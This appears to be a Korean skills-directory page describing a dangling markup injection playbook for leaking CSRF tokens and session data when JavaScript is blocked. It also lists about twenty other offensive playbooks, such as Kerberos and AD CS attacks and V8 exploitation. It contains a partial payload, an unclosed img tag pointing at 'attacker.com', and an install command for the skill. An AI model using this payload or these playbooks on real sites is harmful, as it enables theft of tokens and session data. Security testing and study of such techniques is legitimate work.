dangling-markup-injection은(는) 무엇을 하나요?
Dangling markup injection 플레이북. HTML 인젝션이 가능하지만 JavaScript 실행이 차단된 경우(CSP, 이벤트 핸들러 제거 샌니타이저, script 태그 차단 WAF)에 사용합니다. 닫히지 않은 HTML 태그를 주입하여 이후 페이지 콘텐츠를 캡처함으로써 CSRF 토큰, 세션 데이터, 페이지 콘텐츠를 유출합니다.
Dangling markup injection 플레이북. HTML 인젝션이 가능하지만 JavaScript 실행이 차단된 경우(CSP, 이벤트 핸들러 제거 샌니타이저, script 태그 차단 WAF)에 사용합니다. 닫히지 않은 HTML 태그를 주입하여 이후 페이지 콘텐츠를 캡처함으로써 CSRF 토큰, 세션 데이터, 페이지 콘텐츠를 유출합니다.
이 플레이북은 HTML 인젝션 취약점이 존재하지만 JavaScript 실행이 제한된 환경에서 데이터를 유출하는 기술을 설명합니다. CSP(Content Security Policy), XSS 샌니타이저, WAF 등으로 인해 script 태그나 이벤트 핸들러를 사용할 수 없을 때, 닫히지 않은 `<img src="http://attacker.com/` 와 같은 태그를 삽입하여 이후 페이지 콘텐츠를 공격자 서버로 전송합니다. 주로 CSRF 토큰, 세션 ID, 민감한 입력 값 등이 포함된 HTML 구문을 가로채는 데 활용됩니다. 이 기법은 브라우저의 HTML 파서 동작을 악용하며, XSS 필터가 강화된 현대 웹 애플리케이션에서도 여전히 유효한 공격 벡터로 사용됩니다. 플레이북은 yaklang 환경을 기반으로 작성되었으며, 단계별 공격 예시와 함께 실제 PoC 코드를 제공합니다.
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/dangling-markup-injectionInstalled? Explore more 라이팅 & 에디팅 skills: steipete/notion, langchain-ai/langchain, bytedance/podcast-generation · View all 6 →
Dangling markup injection 플레이북. HTML 인젝션이 가능하지만 JavaScript 실행이 차단된 경우(CSP, 이벤트 핸들러 제거 샌니타이저, script 태그 차단 WAF)에 사용합니다. 닫히지 않은 HTML 태그를 주입하여 이후 페이지 콘텐츠를 캡처함으로써 CSRF 토큰, 세션 데이터, 페이지 콘텐츠를 유출합니다.
This repo contains 20 individual skills — each has its own dedicated page.
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.
API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.
API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.
API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.
Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.
Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.
Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.
Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.
Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.
Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.
Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.
Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.
Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.
Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.
Notion CLI/API for pages, Markdown content, data sources, files, comments, search, Workers, and raw API calls.
The agent engineering platform.
Use this skill when the user requests to generate, create, or produce podcasts from text content. Converts written content into a two-host conversational podcast audio format with natural dialogue.
Analyze and optimize tweets for maximum reach using Twitter's open-source algorithm insights. Rewrite and edit user tweets to improve engagement and visibility based on how the recommendation system ranks content.
Extracts and analyzes competitors' ads from ad libraries (Facebook, LinkedIn, etc.) to understand what messaging, problems, and creative approaches are working. Helps inspire and improve your own ad campaigns.
Context7 Platform -- Up-to-date code documentation for LLMs and AI code editors